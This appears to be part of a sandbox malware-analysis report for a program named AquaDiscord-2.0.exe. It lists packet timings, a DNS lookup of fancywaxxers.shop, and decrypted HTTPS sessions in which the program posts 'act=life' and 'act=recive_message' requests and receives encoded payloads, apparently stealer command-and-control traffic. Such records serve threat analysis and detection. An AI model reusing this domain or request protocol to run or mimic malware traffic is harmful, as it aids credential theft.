Dec 30, 2024 20:40:02.366529942 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.366549969 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.366561890 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.366622925 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.366622925 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.366674900 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.366883993 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.366899014 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.366909981 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.366914034 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.541440964 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.541486979 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.541553020 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.541997910 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.542016029 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:03.422909975 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:03.423029900 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:03.424621105 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:03.424627066 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:03.424830914 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:03.426090002 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:03.426254034 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:03.426284075 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:03.426346064 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:03.426353931 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.007359028 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.007438898 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.007512093 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.008814096 CET	49732	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.008833885 CET	443	49732	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.106069088 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.106096983 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.106173038 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.106507063 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.106517076 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.622714043 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.622792006 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.628745079 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.628760099 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.628953934 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:04.631316900 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.631607056 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:04.631633043 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.223107100 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.223179102 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.223232985 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.236917973 CET	49733	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.236938953 CET	443	49733	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.432419062 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.432456017 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.432529926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.432877064 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.432892084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.886539936 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.886609077 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.888132095 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.888138056 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.888379097 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.889549971 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.889669895 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.889710903 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:05.889780998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:05.889791012 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:06.517782927 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:06.517874002 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:06.518058062 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:06.518111944 CET	49734	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:06.518130064 CET	443	49734	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:06.934406042 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:06.934436083 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:06.934510946 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:06.934830904 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:06.934842110 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:07.393038034 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:07.393148899 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:07.394639969 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:07.394650936 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:07.394851923 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:07.396260977 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:07.396365881 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:07.396372080 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:07.807653904 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:07.807728052 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:07.807792902 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:07.807988882 CET	49735	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:07.808007002 CET	443	49735	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.287247896 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.287296057 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.287388086 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.287724972 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.287743092 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.760435104 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.760534048 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.761955023 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.761979103 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.762368917 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.776287079 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.777139902 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.777204990 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.777334929 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.777401924 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.777529001 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.777791977 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.777946949 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.777987003 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.778167963 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.778209925 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.778423071 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.778470039 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.778470993 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.778533936 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.778713942 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.778784990 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.778790951 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.778882027 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.778980017 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.779043913 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.779092073 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.779093981 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.779256105 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.786612034 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.786725044 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.786731958 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.786792040 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.786820889 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:08.786935091 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:08.787035942 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.260711908 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.260993004 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.261086941 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.261178017 CET	49736	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.261221886 CET	443	49736	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.291284084 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.291402102 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.291501045 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.291766882 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.291815996 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.789589882 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.789706945 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.794553995 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.794595003 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.795026064 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:12.796437025 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.796477079 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:12.796544075 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.250654936 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.250787973 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.250864983 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:13.250881910 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.250932932 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.250982046 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:13.250999928 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.251178980 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.251224041 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:13.251240015 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.251352072 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.251409054 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:13.251421928 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.251511097 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.251564026 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:13.251576900 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.251754999 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.251826048 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:13.285259008 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:13.285298109 CET	443	49737	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:13.285322905 CET	49737	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:13.285340071 CET	443	49737	104.21.16.1	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 20:40:00.254085064 CET	61696	53	192.168.2.4	1.1.1.1
Dec 30, 2024 20:40:00.271703005 CET	53	61696	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 20:40:00.254085064 CET	192.168.2.4	1.1.1.1	0x35ce	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 20:40:00.271703005 CET	1.1.1.1	192.168.2.4	0x35ce	No error (0)	fancywaxxers.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:40:00.271703005 CET	1.1.1.1	192.168.2.4	0x35ce	No error (0)	fancywaxxers.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:40:00.271703005 CET	1.1.1.1	192.168.2.4	0x35ce	No error (0)	fancywaxxers.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:40:00.271703005 CET	1.1.1.1	192.168.2.4	0x35ce	No error (0)	fancywaxxers.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:40:00.271703005 CET	1.1.1.1	192.168.2.4	0x35ce	No error (0)	fancywaxxers.shop	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:40:00.271703005 CET	1.1.1.1	192.168.2.4	0x35ce	No error (0)	fancywaxxers.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:40:00.271703005 CET	1.1.1.1	192.168.2.4	0x35ce	No error (0)	fancywaxxers.shop	104.21.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.16.1	443	7400	C:\Users\user\Desktop\AquaDiscord-2.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:40:00 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-30 19:40:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-30 19:40:01 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:40:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b1o80u6obo0pn0hsfjjfj6139q; expires=Fri, 25 Apr 2025 13:26:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K8KJFUlaFNbhZ6K%2BTXQBISeaueAZXvIPdOr4ZCz9jgQZmNF7t6fNyClYlUjyUCRHmbRtCL6022K6R0tW1GePHouqorXiNTmnYqTpJRrmAJhO%2Fvlyw5y%2BRh2CvO6%2Fuge4nmDSVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa47fc96f828ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1801&min_rtt=1797&rtt_var=682&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1596500&cwnd=211&unsent_bytes=0&cid=bdf99d64489cc5d2&ts=501&x=0"
2024-12-30 19:40:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-30 19:40:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.16.1	443	7400	C:\Users\user\Desktop\AquaDiscord-2.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:40:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: fancywaxxers.shop
2024-12-30 19:40:01 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 38 39 39 30 38 33 34 34 30 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--899083440&j=
2024-12-30 19:40:02 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=77hthstauu875brtt56a0126lq; expires=Fri, 25 Apr 2025 13:26:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wB9Qjpg%2BP9XTS%2BbSG8Pi%2BSGclEsk6uRXnAbczl8Z8g3ENCIgY4LrnybdICFu7TQMmqJfXpYp9O0df7Bf3YQGXAwiNW04pByC4xk1iCnOUDqEHw4VOEY8JCVfeQSwDzq9RpXJJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa47fcfe85d4388-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1626&rtt_var=612&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=952&delivery_rate=1784841&cwnd=221&unsent_bytes=0&cid=83d6d8c03dff897e&ts=558&x=0"
2024-12-30 19:40:02 UTC	240	IN	Data Raw: 63 33 61 0d 0a 6e 71 73 49 62 66 43 2f 63 31 66 59 31 4b 41 61 78 6d 78 70 64 57 75 50 49 31 58 38 6a 37 54 77 38 51 4c 33 41 31 46 59 39 58 6a 6c 69 58 35 50 79 6f 74 66 64 61 75 78 67 69 43 79 48 68 77 51 52 36 31 43 4d 64 36 31 30 70 47 64 63 5a 49 76 63 79 36 59 57 71 54 4e 61 51 47 44 32 6c 39 31 76 61 79 43 49 4a 30 58 53 78 41 46 72 52 6c 33 6d 65 58 57 6b 5a 31 67 6c 6d 67 2b 4b 4a 6b 62 39 73 64 76 42 5a 58 63 46 7a 61 30 75 63 56 2f 6f 77 30 44 47 77 4c 69 53 7a 6a 65 6f 35 61 56 69 79 44 4e 49 52 77 39 67 52 6e 54 79 6e 73 47 30 73 4a 66 4c 50 71 78 7a 6a 6a 38 54 67 67 51 43 65 4e 46 4d 5a 66 6e 33 4a 69 56 59 5a 4e 70 49 54 47 54 45 50 62 4a 62 41 53 66 31 51 4d 37 76 72 37 4f 65 61 6b 4e 53 31 6c Data Ascii: c3anqsIbfC/c1fY1KAaxmxpdWuPI1X8j7Tw8QL3A1FY9XjliX5PyotfdauxgiCyHhwQR61CMd610pGdcZIvcy6YWqTNaQGD2l91vayCIJ0XSxAFrRl3meXWkZ1glmg+KJkb9sdvBZXcFza0ucV/ow0DGwLiSzjeo5aViyDNIRw9gRnTynsG0sJfLPqxzjj8TggQCeNFMZfn3JiVYZNpITGTEPbJbASf1QM7vr7OeakNS1l
2024-12-30 19:40:02 UTC	1369	IN	Data Raw: 4a 36 6c 6c 33 78 71 32 46 6f 4a 42 78 68 48 51 2b 4b 70 46 61 34 34 64 7a 54 35 58 52 55 57 33 36 76 73 35 32 6f 51 30 45 45 41 6a 74 55 7a 69 65 37 74 36 61 6c 32 71 61 62 6a 77 30 6e 52 33 30 77 47 30 41 6c 64 55 58 4f 72 6e 32 6a 44 69 6a 46 6b 74 50 53 63 31 52 4e 4a 33 35 32 34 50 54 66 39 74 34 63 7a 32 62 57 71 53 4a 62 41 47 54 30 42 45 6e 73 72 33 4a 66 62 59 46 41 68 6f 45 37 55 77 39 6b 65 37 57 6c 5a 6c 71 6d 6d 73 33 4e 35 6f 63 2f 4d 6b 71 51 64 4c 61 43 58 58 69 39 75 46 39 74 41 6b 48 41 55 76 58 41 53 6a 51 39 4a 61 56 6e 79 44 4e 49 54 73 2f 6c 42 6e 33 78 6d 6b 48 6d 63 38 52 4a 37 79 37 78 32 71 69 43 77 55 64 43 76 39 4c 4f 5a 6a 75 33 35 6d 61 5a 5a 4a 6c 63 33 54 58 48 65 53 4a 4d 6b 2b 7a 30 42 6f 35 73 4b 48 43 4f 4c 74 41 45 6c Data Ascii: J6ll3xq2FoJBxhHQ+KpFa44dzT5XRUW36vs52oQ0EEAjtUzie7t6al2qabjw0nR30wG0AldUXOrn2jDijFktPSc1RNJ3524PTf9t4cz2bWqSJbAGT0BEnsr3JfbYFAhoE7Uw9ke7WlZlqmms3N5oc/MkqQdLaCXXi9uF9tAkHAUvXASjQ9JaVnyDNITs/lBn3xmkHmc8RJ7y7x2qiCwUdCv9LOZju35maZZJlc3TXHeSJMk+z0Bo5sKHCOLtAEl
2024-12-30 19:40:02 UTC	1369	IN	Data Raw: 50 5a 6a 69 32 35 37 54 4c 74 56 6d 4b 33 72 50 57 74 62 4b 66 67 79 59 6e 79 51 32 74 4c 6a 46 62 75 51 52 52 51 35 4a 36 6b 31 33 78 71 33 62 6b 35 74 6d 68 32 34 2b 4f 5a 6b 55 38 38 78 6c 42 35 4c 64 48 44 43 2b 76 63 6c 37 71 51 6f 5a 48 51 6e 6c 52 44 61 55 35 35 62 63 30 32 65 4e 49 57 74 36 70 67 33 33 69 31 38 4d 6e 4e 4d 57 49 2f 71 70 6a 47 48 6b 43 51 64 58 55 61 31 4d 50 35 76 6f 32 5a 4f 5a 62 70 42 72 50 7a 4b 5a 47 65 37 47 62 67 2b 65 31 52 73 34 74 4c 4c 4b 63 61 38 46 44 52 63 49 35 77 46 35 33 75 72 4f 30 73 73 67 6f 57 59 2f 4e 35 68 59 79 63 70 6b 41 5a 58 4c 55 53 72 30 72 34 4a 2f 71 45 35 54 56 77 58 6b 51 54 79 55 36 64 61 56 6e 6d 57 57 5a 6a 41 33 6b 42 44 79 7a 6d 34 44 6d 39 41 58 4e 62 32 79 78 32 71 68 42 77 63 62 53 61 4d Data Ascii: PZji257TLtVmK3rPWtbKfgyYnyQ2tLjFbuQRRQ5J6k13xq3bk5tmh24+OZkU88xlB5LdHDC+vcl7qQoZHQnlRDaU55bc02eNIWt6pg33i18MnNMWI/qpjGHkCQdXUa1MP5vo2ZOZbpBrPzKZGe7Gbg+e1Rs4tLLKca8FDRcI5wF53urO0ssgoWY/N5hYycpkAZXLUSr0r4J/qE5TVwXkQTyU6daVnmWWZjA3kBDyzm4Dm9AXNb2yx2qhBwcbSaM
2024-12-30 19:40:02 UTC	159	IN	Data Raw: 70 69 4c 30 32 65 5a 49 57 74 36 6e 68 50 75 78 32 51 47 6e 39 73 5a 4d 72 53 37 79 58 36 76 43 51 77 52 42 4f 56 4d 4d 70 33 73 30 70 69 42 59 35 35 72 50 6a 44 58 56 4c 7a 4f 63 6b 2f 4b 6e 54 59 35 6b 36 62 5a 61 72 4a 4f 46 46 6b 51 72 55 59 37 33 72 57 57 6b 5a 78 70 6d 6d 6b 37 4e 5a 67 65 38 73 39 73 41 70 66 53 47 79 65 79 75 4d 39 7a 71 77 55 5a 46 77 54 70 54 54 4f 57 35 74 7a 53 33 53 43 53 65 58 4e 69 31 79 2f 78 78 6d 6f 4d 68 4a 30 4f 65 36 50 32 78 58 0d 0a Data Ascii: piL02eZIWt6nhPux2QGn9sZMrS7yX6vCQwRBOVMMp3s0piBY55rPjDXVLzOck/KnTY5k6bZarJOFFkQrUY73rWWkZxpmmk7NZge8s9sApfSGyeyuM9zqwUZFwTpTTOW5tzS3SCSeXNi1y/xxmoMhJ0Oe6P2xX
2024-12-30 19:40:02 UTC	1369	IN	Data Raw: 33 64 35 61 0d 0a 54 6b 56 6b 73 62 42 2b 31 4f 4f 35 4c 6d 33 70 4f 66 62 70 4a 6b 4f 6a 4b 66 43 50 33 4e 59 67 36 63 30 68 41 78 76 37 50 47 66 36 41 49 42 46 64 48 72 55 59 76 33 72 57 57 76 62 52 56 31 30 41 4a 65 6f 68 55 35 59 6c 74 41 39 4b 46 55 54 6d 35 75 73 70 33 6f 67 63 48 48 51 44 6d 54 54 79 61 34 64 2b 58 6c 57 47 51 5a 44 49 2b 6d 78 44 36 79 6d 6b 41 6e 64 49 5a 64 66 54 32 78 57 44 6b 56 6b 73 79 48 75 5a 50 4d 64 37 79 6d 49 76 54 5a 35 6b 68 61 33 71 62 45 2f 72 50 62 77 4f 54 32 78 6b 77 73 72 4c 44 66 71 49 4e 42 42 4d 4d 37 45 34 7a 6b 75 50 63 6b 35 4a 73 6e 6d 34 34 50 39 64 55 76 4d 35 79 54 38 71 64 49 44 61 73 6f 64 4a 30 35 42 46 46 44 6b 6e 71 54 58 66 47 72 64 65 41 6d 57 71 62 5a 44 77 2f 6c 42 58 37 78 47 77 44 6d 4e 51 Data Ascii: 3d5aTkVksbB+1OO5Lm3pOfbpJkOjKfCP3NYg6c0hAxv7PGf6AIBFdHrUYv3rWWvbRV10AJeohU5YltA9KFUTm5usp3ogcHHQDmTTya4d+XlWGQZDI+mxD6ymkAndIZdfT2xWDkVksyHuZPMd7ymIvTZ5kha3qbE/rPbwOT2xkwsrLDfqINBBMM7E4zkuPck5Jsnm44P9dUvM5yT8qdIDasodJ05BFFDknqTXfGrdeAmWqbZDw/lBX7xGwDmNQ
